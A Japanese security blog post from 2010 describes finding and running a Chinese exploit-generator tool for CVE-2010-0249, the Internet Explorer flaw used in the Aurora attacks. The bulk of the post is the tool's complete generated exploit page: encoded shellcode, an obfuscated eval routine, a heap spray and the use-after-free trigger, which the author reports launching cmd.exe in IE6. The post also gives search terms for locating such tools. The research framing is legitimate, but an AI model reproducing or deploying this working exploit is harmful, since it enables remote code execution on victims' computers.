CVE-2010-0249 Exploit コード生成ツール

GoogleMcAfeeAdobe を狙った攻撃で発覚した CVE-2010-0249脆弱性を悪用する Exploit を生成するツールが確認されたようですね(元ネタ:PANDALABS Blog)。いつものように中国製ツールですが、この手のツールが話題にのぼるのは、なんだが久々な感じがします。当該ツールが実際にあるのか、また当該ツールがどのような Exploit コードを生成するか確認してみました。

【注意】
この日記で書いている手順を実施する場合、自己責任でお願いします。

【追記 2010年3月10日】
Avira AntiVir をインストールした PC で Internet Explorer でこの日記を閲覧すると、「JS/Aurora.3657」を検出する場合があります。これは「JS/Aurora.3657」に該当する Exploit コードを掲載しているためです。日記を閲覧しているだけでは、この Exploit コードが実行されることはありません

CVE-2010-0249 Exploit コード生成ツール

ツールの発見

中国製のツールを探すなら、Google ではなく百度(Baidu)が役に立ちます。ということで、百度にて、「IE 工具 0day」で検索してみました(検索結果)。検索結果をいくつか辿ってみると、Panda Labs と同様のインターフェイスのツールがありました(こちら)。他にも CVE-2010-0249 Exploit 生成ツールがあるようです(こんなのとか、こんなの)。残念ながら、これらのツールをダウンロードするためには、このフォーラムのアカウントが必要のようです。

今度は、百度にて「IE 0day 生成器 download」で検索してみます(検索結果)。この検索結果からいくつかリンクを辿ってみると、ありました(こちら)。ただし、このツールでは Exploit 実行時に IE が落ちるらしく、作者が修正版を公開したようです。その修正版を探してふらふらしていると、ここにありました。このツールをダウンロードします。

ツールの実行

ダウンロードしたツール(VirusTotal結果)を仮想環境の Windows XP SP3 日本語版で実行します*1。実行すると、以下のウインドウが起動します。

このウインドウのテキストフィールドに Exploit 成功時に実行させたい EXE のパスを入力するようです。ここでは、「C:\WINDOWS\system32\cmd.exe」と入力して、文字化けしたボタンをクリックします。すると、ツールの保存しているフォルダに ie.html(VirusTotal結果), XIGUA.GIF が生成されます。この ie.html が Exploit コード本体です。ie.html の内容は以下の通りです*2

<html>
<head>
  <script>
  var obj, event_obj;
         
  function spray_heap()
  {
    var chunk_size, payload, nopsled;
    chunk_size = 0x80000;

    payload = "CUTE00E8CUTE0000CUTE6A00CUTEEB03CUTE7E21CUTEE2D8CUTE9873CUTE8AFECUTE8E0ECUTE0E4ECUTE55ECCUTE4C52CUTE4F4DCUTE004ECUTE3600CUTE2F1ACUTE6370CUTE5C3ACUTE2E63CUTE7865CUTE0065CUTE5F59CUTE67AFCUTEA164CUTE0030CUTE408BCUTE8B0CCUTE1C70CUTE8BADCUTE0868CUTE8B51CUTE3C75CUTE748BCUTE782ECUTEF503CUTE8B56CUTE2076CUTEF503CUTEC933CUTE4149CUTE03ADCUTE33C5CUTE0FDBCUTE10BECUTEF238CUTE0874CUTECBC1CUTE030DCUTE40DACUTEF1EBCUTE1F3BCUTEE775CUTE8B5ECUTE245ECUTEDD03CUTE8B66CUTE4B0CCUTE5E8BCUTE031CCUTE8BDDCUTE8B04CUTEC503CUTE59ABCUTEBCE2CUTE0F8BCUTEF980CUTE7463CUTE570ACUTED0FFCUTEAF95CUTE6AAFCUTEEB01CUTE52ACCUTE5752CUTE8F8DCUTE10DBCUTE0040CUTEE981CUTE104ECUTE0040CUTE5251CUTED0FFCUTE016ACUTEFF57CUTEEC57CUTE57FFCUTE90E8CUTE3a43CUTE575cCUTE4e49CUTE4f44CUTE5357CUTE735cCUTE7379CUTE6574CUTE336dCUTE5c32CUTE6d63CUTE2e64CUTE7865CUTE0065";
    var sss = Array(590,485,570,160,495,585,580,505,565,565,160,305,160,585,550,505,575,495,485,560,505,200,560,485,605,540,555,485,500,230,570,505,560,540,485,495,505,200,235,335,425,420,345,235,515,320,160,170,185,585,170,205,205,295,160,550,555,560,575,540,505,500,160,305,160,585,550,505,575,495,485,560,505,200,170,185,585,240,485,240,485,185,585,240,485,240,485,170,205,295);
    var arr = new Array;
    for (var i = 0; i < sss.length; i ++ ){
      arr[i] = String.fromCharCode(sss[i]/5); } var cc=arr.toString();cc=cc.replace(/,/g, "");
      cc = cc.replace(/@/g, ",");
      eval(cc);
      while (nopsled.length < chunk_size)
        nopsled += nopsled;
        nopsled_len = chunk_size - (cuteqq.length + 20);    
        nopsled = nopsled.substring(0, nopsled_len);
        heap_chunks = new Array();
        for (var i = 0 ; i < 200 ; i++)
          heap_chunks[i] = nopsled + cuteqq;
  }
       
  function initialize()
  {
    obj = new Array();
    event_obj = null;
    for (var i = 0; i < 200 ; i++ )
      obj[i] = document.createElement("COMMENT");
  }
        
  function ev1(evt)
  {
    event_obj = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";
    window.setInterval(ev2, 1);
  }
      
  function ev2()
  {
    var data, tmp;
                
    data = "";
    tmp = unescape("%u0a0a%u0a0a");
    for (var i = 0 ; i < 4 ; i++)
      data += tmp;
    for (i = 0 ; i < obj.length ; i++ ) {
      obj[i].data = data;
    }
    event_obj.srcElement;
  }
                    
  function check()
  {
    if (navigator.userAgent.indexOf("MSIE") == -1)
      return false;
    return true;   
  }
            
  if (check()) {
    initialize();
    spray_heap();               
  }
  else
    window.location = 'about:blank'
               
  </script>
</head>
<body>
  <span id="sp1">
  <img src="XIGUA.GIF" onload="ev1(event)">
  </span>        
</body>
</html>
Exploit コードの実行

生成された Exploit コード ie.html を同環境の Internet Explorer 6(IE6)で開くと、cmd.exe が起動しました。この日記での Exploit コードの実行については、おまけ程度です。成功しちゃいましたよ〜ぐらいですね。Microsoft が公表している OS・IE のバージョンのリスクをきちんと確認したいのですが、環境準備が困難なのと、時間がかかるため断念します。頻繁に脆弱性検証レポートを発行している NTTデータ・セキュリティにこのあたりをきっちりと検証していただけると、検証レポートの価値が非常に高まると思うのですが・・・*3

*1:そのままのパス名だとエラーで起動しないため、パス名を適宜変更しました

*2:一応、script タグだけちょこっと編集しています

*3:NTTデータ・セキュリティの CVE-2010-0249 の脆弱性検証レポートは ここ(PDF)